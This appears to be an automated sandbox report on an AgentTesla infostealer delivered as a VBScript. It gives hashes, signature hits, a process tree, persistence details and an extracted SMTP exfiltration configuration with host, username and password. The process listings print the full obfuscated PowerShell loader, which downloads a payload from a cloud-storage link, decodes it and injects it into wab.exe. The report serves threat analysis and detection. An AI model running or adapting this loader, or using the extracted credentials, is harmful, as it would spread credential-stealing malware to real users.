Analysis
-
max time kernel
145s -
max time network
135s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
23-05-2024 01:56
Static task
static1
Behavioral task
behavioral1
Sample
b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94.vbs
Resource
win10v2004-20240508-en
General
-
Target
b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94.vbs
-
Size
4KB
-
MD5
da84b84acab58afbc2549d0313d7a27d
-
SHA1
f9b2f7c8a1095a0a92b1c11ffad1db6f3e60ddcd
-
SHA256
b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94
-
SHA512
ed14edb9c28960454971bc4766109cff1e3195258fb1c2c15d25ec61592c49cef9b5afe01ca477254f73d16b81c0b9a2093bb35fb78861ae11e98876e96a3029
-
SSDEEP
96:QSUGGWOfwEq8apLbxVgsUkx0PONZDYwAqn/Q6oej2EjsCXdLKUfp:QS7GWC6Lb7dFGWNZDzhnouj2EQCXFbfp
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.raczki.pl - Port:
587 - Username:
[email protected] - Password:
obslugaradygminy - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1900-41-0x0000000000D70000-0x0000000001DD2000-memory.dmp INDICATOR_EXE_Packed_GEN01 behavioral1/memory/1900-43-0x0000000000D70000-0x0000000000DB2000-memory.dmp INDICATOR_EXE_Packed_GEN01 -
Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1900-41-0x0000000000D70000-0x0000000001DD2000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral1/memory/1900-43-0x0000000000D70000-0x0000000000DB2000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers -
Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1900-41-0x0000000000D70000-0x0000000001DD2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID behavioral1/memory/1900-43-0x0000000000D70000-0x0000000000DB2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID -
Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1900-41-0x0000000000D70000-0x0000000001DD2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store behavioral1/memory/1900-43-0x0000000000D70000-0x0000000000DB2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store -
Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1900-41-0x0000000000D70000-0x0000000001DD2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients behavioral1/memory/1900-43-0x0000000000D70000-0x0000000000DB2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients -
Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1900-41-0x0000000000D70000-0x0000000001DD2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients behavioral1/memory/1900-43-0x0000000000D70000-0x0000000000DB2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 5 2992 powershell.exe 7 2992 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
wab.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\fMNDB = "C:\\Users\\Admin\\AppData\\Roaming\\fMNDB\\fMNDB.exe" wab.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 1900 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 2400 powershell.exe 1900 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2400 set thread context of 1900 2400 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepowershell.exewab.exepid process 2992 powershell.exe 2400 powershell.exe 2400 powershell.exe 1900 wab.exe 1900 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 2400 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 2992 powershell.exe Token: SeDebugPrivilege 2400 powershell.exe Token: SeDebugPrivilege 1900 wab.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 2020 wrote to memory of 2992 2020 WScript.exe powershell.exe PID 2020 wrote to memory of 2992 2020 WScript.exe powershell.exe PID 2020 wrote to memory of 2992 2020 WScript.exe powershell.exe PID 2992 wrote to memory of 2532 2992 powershell.exe cmd.exe PID 2992 wrote to memory of 2532 2992 powershell.exe cmd.exe PID 2992 wrote to memory of 2532 2992 powershell.exe cmd.exe PID 2992 wrote to memory of 2400 2992 powershell.exe powershell.exe PID 2992 wrote to memory of 2400 2992 powershell.exe powershell.exe PID 2992 wrote to memory of 2400 2992 powershell.exe powershell.exe PID 2992 wrote to memory of 2400 2992 powershell.exe powershell.exe PID 2400 wrote to memory of 2488 2400 powershell.exe cmd.exe PID 2400 wrote to memory of 2488 2400 powershell.exe cmd.exe PID 2400 wrote to memory of 2488 2400 powershell.exe cmd.exe PID 2400 wrote to memory of 2488 2400 powershell.exe cmd.exe PID 2400 wrote to memory of 1900 2400 powershell.exe wab.exe PID 2400 wrote to memory of 1900 2400 powershell.exe wab.exe PID 2400 wrote to memory of 1900 2400 powershell.exe wab.exe PID 2400 wrote to memory of 1900 2400 powershell.exe wab.exe PID 2400 wrote to memory of 1900 2400 powershell.exe wab.exe PID 2400 wrote to memory of 1900 2400 powershell.exe wab.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b4f1081d88ac2d9a768d94a5aa3c685644835336f5642637005b4f74db407a94.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Slipsloppism='Sub';$Slipsloppism+='strin';$Lgelige = 1;$Slipsloppism+='g';Function Floskulatur($Erigeronnderzonen){$Perfected=$Erigeronnderzonen.Length-$Lgelige;For($Erigeron=1;$Erigeron -lt $Perfected;$Erigeron+=2){$Tressels+=$Erigeronnderzonen.$Slipsloppism.Invoke( $Erigeron, $Lgelige);}$Tressels;}function Posrs($Homme){. ($Pinier69) ($Homme);}$Delkoral=Floskulatur ' MPoNz i l l a / 5e.T0j J(.W iRnMd oRw sC NIT 1,0n.K0I;K WHiSn 6 4.; x 6,4 ;F ,rSvS:.1 2F1F. 0 )D SGFe.c k oI/ 2.0C1B0S0G1M0A1T UF iSr eAfSo x./ 1 2 1F.B0D ';$ophedning=Floskulatur 'NU s eCrS- ASgCeFnFtP ';$Festligstes=Floskulatur 'Sh t.tsp s : /./,d.rGiRvTeN.,gWoBo gAl e .Tc o.mU/Pu cR?OeJxNpTo,rIt,=RdEo w nAlDonaId,&,i,d.=T1 6DtPb XF4 oGYIG sT4,4Iv,R NTDDjCJ,otABp 8 _ CIPAz.d.V,crwS0 QMo, ';$Transpirer=Floskulatur 'S> ';$Pinier69=Floskulatur 'di.e.xG ';$Molekyle='Ejerpantebreve';$Hungerramt = Floskulatur ' e,c hUo .% a p pMd aSt,a % \ T o r nGtPaFpFp,eSn .FI,nOf. H&F& KeFc hDo BtA ';Posrs (Floskulatur ' $Sg,l.oKbDa.lK:STGewt rSascLaCr,b,oSx,y l.iSc =s(AcFmNdP C/IcP $OH u n,g eKr,r.agmKt ) ');Posrs (Floskulatur '.$Rg l.o b a l,: G r.o,u,n.dtwGoZrNkP=I$TF,e,s t,lBi.gAs,tUeLs,.Us.pEl,i.t (,$MTCr aBnMsPpGiFreeUr.). ');$Festligstes=$Groundwork[0];$Tystner= (Floskulatur 'B$GgMl,o,bTaDlT: KEi w i eQn,s 1,1 =FN.e w.-,O b,jMe c tS ,S y s tSe.m . NDeHtS.MWMe b C lSi e.n t');$Tystner+=$Tetracarboxylic[1];Posrs ($Tystner);Posrs (Floskulatur 'R$.KSi w.i.eAnAs,1R1I.HHDeLaSdFeMrRsM[M$ oCpah e.d.nYi n,gS],=D$ DLeFlTkwoSrIa l ');$Sommerstvne=Floskulatur '.$BKSiJwBi e,n sR1I1 .PDRoSwDn.l oea,dAFSiPl eW(H$BFIe s t l iAgks tLeTsA,T$ KuaPfTf eTp.uCn.cRhg)G ';$Kaffepunch=$Tetracarboxylic[0];Posrs (Floskulatur '.$Pg lAo.bEa lE: DPi.dBdSl,iSeBs =E( T e s tG- P.aKt,h. G$ K,aPfTf,eLpCu,n cLhL)V ');while (!$Diddlies) {Posrs (Floskulatur ' $bg.l,o,bEaKlr: A nIt i,eRmdpTeArBoWr 3.=E$.t,rDu eC ') ;Posrs $Sommerstvne;Posrs (Floskulatur ' S tNa r tI-AS.l.eSe p S4b ');Posrs (Floskulatur ' $Og,l o bAa lW:FD i dLd,l i eFsP=.( THeGs,t - P aKtLh $ Kda f f.e p,u nKcWh )c ') ;Posrs (Floskulatur 'H$Pg,lso b aMl.:,PNr e e n l i sDtMm.eDnAt sB=.$,gBl oSbKaPl : S e r fUaBgme,sU+F+ %U$DG rBoRu.n.dLw oLr kU.Pc.o u n.tO ') ;$Festligstes=$Groundwork[$Preenlistments];}$blomstergartnere=344026;$Antioxidizings=25954;Posrs (Floskulatur ' $,g l o bAaOlH: UBdAn.vMn t e,s, ,=F GBe.t - CKo nStDeLnBt, P$,K aUf f eSpSu n cRhO ');Posrs (Floskulatur 'I$ g lNo bda.lI:KNUaDvUe tSt e S= H[OSJy,s.tVePmR.JC,oBnBv,e.r,tD] : :SFTrGoFmCB aPsOeF6S4aSStVr iNnRgS(I$DUOdAn vFn tSe sS)P ');Posrs (Floskulatur 'S$ g.lCoAbMaCl,:AP r o.g r aRm mGrMePr n e, .= S[,S yAs.t eBm . TTe.x tP.DEFn c o d,iEn gS]i:N:TA SPCMIcIS.FG e t STt r i n g.(,$ NMa.v e,tMtBe,)R ');Posrs (Floskulatur ' $,gSl o bAaSlS:,K a a.rFeFn d.eSsB1,0,=O$,PSrIo,g rRaPmUm r e r n eV.,sSuBb sRtUrTi nNg ( $Bb lIoVmIsSt,eAr.gRa,rKt,n.e rKeA, $FA,n.tHiSoOxRiCd.i z iDnDg s.)P ');Posrs $Kaarendes10;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Torntappen.Inf && echo t"3⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Slipsloppism='Sub';$Slipsloppism+='strin';$Lgelige = 1;$Slipsloppism+='g';Function Floskulatur($Erigeronnderzonen){$Perfected=$Erigeronnderzonen.Length-$Lgelige;For($Erigeron=1;$Erigeron -lt $Perfected;$Erigeron+=2){$Tressels+=$Erigeronnderzonen.$Slipsloppism.Invoke( $Erigeron, $Lgelige);}$Tressels;}function Posrs($Homme){. ($Pinier69) ($Homme);}$Delkoral=Floskulatur ' MPoNz i l l a / 5e.T0j J(.W iRnMd oRw sC NIT 1,0n.K0I;K WHiSn 6 4.; x 6,4 ;F ,rSvS:.1 2F1F. 0 )D SGFe.c k oI/ 2.0C1B0S0G1M0A1T UF iSr eAfSo x./ 1 2 1F.B0D ';$ophedning=Floskulatur 'NU s eCrS- ASgCeFnFtP ';$Festligstes=Floskulatur 'Sh t.tsp s : /./,d.rGiRvTeN.,gWoBo gAl e .Tc o.mU/Pu cR?OeJxNpTo,rIt,=RdEo w nAlDonaId,&,i,d.=T1 6DtPb XF4 oGYIG sT4,4Iv,R NTDDjCJ,otABp 8 _ CIPAz.d.V,crwS0 QMo, ';$Transpirer=Floskulatur 'S> ';$Pinier69=Floskulatur 'di.e.xG ';$Molekyle='Ejerpantebreve';$Hungerramt = Floskulatur ' e,c hUo .% a p pMd aSt,a % \ T o r nGtPaFpFp,eSn .FI,nOf. H&F& KeFc hDo BtA ';Posrs (Floskulatur ' $Sg,l.oKbDa.lK:STGewt rSascLaCr,b,oSx,y l.iSc =s(AcFmNdP C/IcP $OH u n,g eKr,r.agmKt ) ');Posrs (Floskulatur '.$Rg l.o b a l,: G r.o,u,n.dtwGoZrNkP=I$TF,e,s t,lBi.gAs,tUeLs,.Us.pEl,i.t (,$MTCr aBnMsPpGiFreeUr.). ');$Festligstes=$Groundwork[0];$Tystner= (Floskulatur 'B$GgMl,o,bTaDlT: KEi w i eQn,s 1,1 =FN.e w.-,O b,jMe c tS ,S y s tSe.m . NDeHtS.MWMe b C lSi e.n t');$Tystner+=$Tetracarboxylic[1];Posrs ($Tystner);Posrs (Floskulatur 'R$.KSi w.i.eAnAs,1R1I.HHDeLaSdFeMrRsM[M$ oCpah e.d.nYi n,gS],=D$ DLeFlTkwoSrIa l ');$Sommerstvne=Floskulatur '.$BKSiJwBi e,n sR1I1 .PDRoSwDn.l oea,dAFSiPl eW(H$BFIe s t l iAgks tLeTsA,T$ KuaPfTf eTp.uCn.cRhg)G ';$Kaffepunch=$Tetracarboxylic[0];Posrs (Floskulatur '.$Pg lAo.bEa lE: DPi.dBdSl,iSeBs =E( T e s tG- P.aKt,h. G$ K,aPfTf,eLpCu,n cLhL)V ');while (!$Diddlies) {Posrs (Floskulatur ' $bg.l,o,bEaKlr: A nIt i,eRmdpTeArBoWr 3.=E$.t,rDu eC ') ;Posrs $Sommerstvne;Posrs (Floskulatur ' S tNa r tI-AS.l.eSe p S4b ');Posrs (Floskulatur ' $Og,l o bAa lW:FD i dLd,l i eFsP=.( THeGs,t - P aKtLh $ Kda f f.e p,u nKcWh )c ') ;Posrs (Floskulatur 'H$Pg,lso b aMl.:,PNr e e n l i sDtMm.eDnAt sB=.$,gBl oSbKaPl : S e r fUaBgme,sU+F+ %U$DG rBoRu.n.dLw oLr kU.Pc.o u n.tO ') ;$Festligstes=$Groundwork[$Preenlistments];}$blomstergartnere=344026;$Antioxidizings=25954;Posrs (Floskulatur ' $,g l o bAaOlH: UBdAn.vMn t e,s, ,=F GBe.t - CKo nStDeLnBt, P$,K aUf f eSpSu n cRhO ');Posrs (Floskulatur 'I$ g lNo bda.lI:KNUaDvUe tSt e S= H[OSJy,s.tVePmR.JC,oBnBv,e.r,tD] : :SFTrGoFmCB aPsOeF6S4aSStVr iNnRgS(I$DUOdAn vFn tSe sS)P ');Posrs (Floskulatur 'S$ g.lCoAbMaCl,:AP r o.g r aRm mGrMePr n e, .= S[,S yAs.t eBm . TTe.x tP.DEFn c o d,iEn gS]i:N:TA SPCMIcIS.FG e t STt r i n g.(,$ NMa.v e,tMtBe,)R ');Posrs (Floskulatur ' $,gSl o bAaSlS:,K a a.rFeFn d.eSsB1,0,=O$,PSrIo,g rRaPmUm r e r n eV.,sSuBb sRtUrTi nNg ( $Bb lIoVmIsSt,eAr.gRa,rKt,n.e rKeA, $FA,n.tHiSoOxRiCd.i z iDnDg s.)P ');Posrs $Kaarendes10;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Torntappen.Inf && echo t"4⤵
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5GF1L0LW7541VJ4WL0PG.tempFilesize
7KB
MD591937dc4c49e2200dda9b927fc642b06
SHA1a99f5faf99e7d36df670adc394df3051392fc9fc
SHA256684becc7301bb32c99648e75c569b2abc1a7c3d5747fc62c812494f144fbc69a
SHA51248f9535d7c7edae9f7fb30dda3a62c10dd2cdc3543d308b6bfa5a1e4e162b3fa10b105658a5438ece1d36b3c1ca6a0ffcc327cae7657e55c949378ae8f1d9730
-
C:\Users\Admin\AppData\Roaming\Torntappen.InfFilesize
481KB
MD5af362ac0f71c354e02c2f692a94d3755
SHA1f6667c8657dce705f35731ec0cda5bcea418826c
SHA256ab4a7ac83a0974c4125388864e9552d5d9693937da3f438d98489cc725e4d4e9
SHA512c4a3dfd681a1b6a40a12434d52030854d677780d00a65e970082bd004058fb74c80901bcdbfb439734d286a4e4e174f17a994a5b483c7eb016e7d45018a92de2
-
memory/1900-43-0x0000000000D70000-0x0000000000DB2000-memory.dmpFilesize
264KB
-
memory/1900-41-0x0000000000D70000-0x0000000001DD2000-memory.dmpFilesize
16.4MB
-
memory/2400-19-0x0000000006150000-0x0000000009D0A000-memory.dmpFilesize
59.7MB
-
memory/2992-7-0x0000000001FC0000-0x0000000001FC8000-memory.dmpFilesize
32KB
-
memory/2992-9-0x000007FEF5950000-0x000007FEF62ED000-memory.dmpFilesize
9.6MB
-
memory/2992-8-0x000007FEF5950000-0x000007FEF62ED000-memory.dmpFilesize
9.6MB
-
memory/2992-15-0x000007FEF5950000-0x000007FEF62ED000-memory.dmpFilesize
9.6MB
-
memory/2992-16-0x000007FEF5C0E000-0x000007FEF5C0F000-memory.dmpFilesize
4KB
-
memory/2992-4-0x000007FEF5C0E000-0x000007FEF5C0F000-memory.dmpFilesize
4KB
-
memory/2992-6-0x000000001B310000-0x000000001B5F2000-memory.dmpFilesize
2.9MB
-
memory/2992-42-0x000007FEF5950000-0x000007FEF62ED000-memory.dmpFilesize
9.6MB
-
memory/2992-5-0x000007FEF5950000-0x000007FEF62ED000-memory.dmpFilesize
9.6MB